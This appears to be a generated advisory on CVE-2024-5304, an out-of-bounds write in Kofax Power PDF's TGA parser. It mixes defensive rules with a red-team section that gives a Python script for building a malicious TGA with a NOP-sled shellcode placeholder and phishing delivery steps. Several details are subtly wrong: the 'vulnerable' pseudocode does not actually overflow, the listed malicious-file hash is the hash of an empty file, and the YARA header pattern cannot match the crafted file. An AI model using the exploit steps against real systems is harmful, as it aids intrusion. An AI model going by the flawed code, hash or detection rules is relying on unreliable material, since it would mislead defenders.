CVE-2024-5304

Executive Summary

CVE-2024-5304 is a critical out-of-bounds write vulnerability in Kofax Power PDF's TGA file parsing engine. This flaw allows remote code execution (RCE) in the context of the current user process when a victim opens a maliciously crafted TGA file. The vulnerability is classified under CWE-787 (Out-of-bounds Write) and carries a CVSS score of 7.8 (High). No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. However, given the nature of the flaw and the widespread use of PDF software, this vulnerability poses a significant risk to enterprise environments.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone desktop application vulnerability in Kofax Power PDF.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must deliver a malicious file to the victim.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must open the file.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full data disclosure possible.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – System compromise.

Threat Level: High. Exploitation requires user interaction, but the impact is complete system compromise.

Deep Dive & Mechanics

The vulnerability resides in the TGA (Truevision Targa) image file parser within Kofax Power PDF. TGA files are raster graphics formats that include a header specifying image dimensions, pixel depth, and data layout. The parser fails to validate user-supplied data properly, leading to a write past the end of an allocated buffer.

Root Cause: The parser reads TGA header fields (e.g., width, height, pixel size) and allocates a buffer based on these values. However, it does not verify that the actual image data size matches the expected size. An attacker can craft a TGA file with a header that specifies a small buffer allocation but includes a large amount of image data. When the parser writes this data into the undersized buffer, it overflows into adjacent memory.

Exploitation Path:

1. Attacker crafts a malicious TGA file with a manipulated header (e.g., small width/height) and oversized pixel data.
2. Victim opens the file in Kofax Power PDF (e.g., via email attachment or web download).
3. The parser allocates a small buffer based on the header.
4. The parser writes the oversized pixel data into the buffer, causing an out-of-bounds write.
5. The attacker overwrites critical data structures (e.g., function pointers, return addresses) to achieve code execution.

Technical Details:

• The vulnerability is triggered during the parsing of TGA image data, specifically when the parser processes pixel data without bounds checking.
• The out-of-bounds write can corrupt heap metadata or stack frames, leading to arbitrary code execution.
• The exploit runs in the context of the current user process, meaning it inherits the user's privileges.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding bounds checking before writing pixel data. Below is a simplified example of the vulnerable code pattern and a patched version.

Vulnerable Code (C-like pseudocode):

void parse_tga(FILE *file) {
    TGAHeader header;
    fread(&header, sizeof(header), 1, file);
    uint8_t *buffer = malloc(header.width * header.height * header.pixel_size);
    // No bounds check on data size
    fread(buffer, header.width * header.height * header.pixel_size, 1, file);
    // Process buffer...
}

Patched Code (Hypothetical):

void parse_tga(FILE *file) {
    TGAHeader header;
    fread(&header, sizeof(header), 1, file);
    size_t expected_size = header.width * header.height * header.pixel_size;
    // Validate expected size against file size
    fseek(file, 0, SEEK_END);
    long file_size = ftell(file);
    fseek(file, sizeof(header), SEEK_SET);
    if (expected_size > (file_size - sizeof(header))) {
        // Error handling
        return;
    }
    uint8_t *buffer = malloc(expected_size);
    fread(buffer, expected_size, 1, file);
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Achieve remote code execution on a target system running Kofax Power PDF.

Prerequisites:

• Kofax Power PDF (any version prior to patch)
• A method to deliver the malicious TGA file (e.g., phishing email, malicious website)

Lab Setup:

1. Environment: Windows 10/11 VM with Kofax Power PDF installed.
2. Tools: Python 3, Metasploit (optional), custom exploit script.

Exploitation Steps:

1. Craft Malicious TGA File:

   • Use a Python script to generate a TGA file with a manipulated header (e.g., width=1, height=1, pixel_size=4) and oversized pixel data (e.g., 1000 bytes of shellcode).
   • The shellcode should execute a reverse shell or calc.exe.

   import struct
   
   def create_malicious_tga(output_path):
       # TGA header (18 bytes)
       header = b'\x00'  # ID length
       header += b'\x00'  # Color map type
       header += b'\x02'  # Image type (uncompressed true-color)
       header += struct.pack('<H', 0)  # Color map origin
       header += struct.pack('<H', 0)  # Color map length
       header += b'\x00'  # Color map entry size
       header += struct.pack('<H', 0)  # X origin
       header += struct.pack('<H', 0)  # Y origin
       header += struct.pack('<H', 1)  # Width (small to trigger overflow)
       header += struct.pack('<H', 1)  # Height (small)
       header += b'\x20'  # Pixel depth (32 bits)
       header += b'\x00'  # Image descriptor
   
       # Oversized pixel data (shellcode placeholder)
       shellcode = b'\x90' * 1000  # NOP sled + actual shellcode
       payload = header + shellcode
   
       with open(output_path, 'wb') as f:
           f.write(payload)
   
   create_malicious_tga('exploit.tga')
   

2. Deliver File: Send the exploit.tga file to the victim via email or web download.

3. Trigger Exploit: Victim opens the file in Kofax Power PDF. The parser overflows the buffer and executes the shellcode.

Expected Result: A reverse shell or calculator application opens, confirming code execution.

Blue Team (Defensive)

Detection:

• Monitor for unusual TGA file activity, especially files with mismatched header dimensions and actual data size.
• Use endpoint detection and response (EDR) tools to detect heap corruption or out-of-bounds write attempts.

Mitigation:

• Restrict execution of Kofax Power PDF in sandboxed environments.
• Implement application whitelisting to prevent untrusted executables.
• Use ASLR and DEP to make exploitation harder.

Hunting:

• Search for TGA files with header width/height less than 10 pixels but file size > 1 MB.
• Look for crashes in Kofax Power PDF related to TGA parsing.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious TGA)
• Network Indicators: Outbound connections to attacker-controlled IPs (e.g., for reverse shell).
• Process Indicators: Kofax Power PDF process (KofaxPowerPDF.exe) crashing or spawning child processes (e.g., cmd.exe, powershell.exe).
• Registry Keys: (None specific to this CVE)
• File System: TGA files in unusual locations (e.g., %TEMP%, Downloads).

Detection Engineering

YARA Rule

rule CVE_2024_5304_TGA_Overflow {
    meta:
        description = "Detects malicious TGA files exploiting CVE-2024-5304"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5304"
    strings:
        $tga_header = { 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 }
        $small_dim = { 01 00 01 00 }  // width=1, height=1
        $large_data = { 90 90 90 90 } // NOP sled indicator
    condition:
        $tga_header at 0 and $small_dim and #large_data > 100
}

Sigma Rule

title: CVE-2024-5304 TGA File Parsing Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-5304 via TGA file with mismatched dimensions
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\KofaxPowerPDF.exe'
        TargetFilename|endswith: '.tga'
    condition: selection
falsepositives:
    - Legitimate TGA files with small dimensions
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5304 TGA File Download"; flow:to_server,established; content:"|00 00 02|"; offset:2; depth:3; content:"|01 00 01 00|"; within:18; sid:1000001; rev:1;)

Remediation & Mitigation

• Patch Status: No official patch available. Monitor Kofax's security advisories for updates.
• Workaround: Disable automatic rendering of TGA files in Kofax Power PDF if possible.
• Mitigation:
  • Use application sandboxing (e.g., Windows Defender Application Guard).
  • Implement strict file upload filters to block TGA files with suspicious headers.
  • Educate users not to open TGA files from untrusted sources.
• Detection: Deploy YARA and Sigma rules to detect malicious TGA files.
• Long-term: Consider migrating to alternative PDF software with better security practices.

Valters IT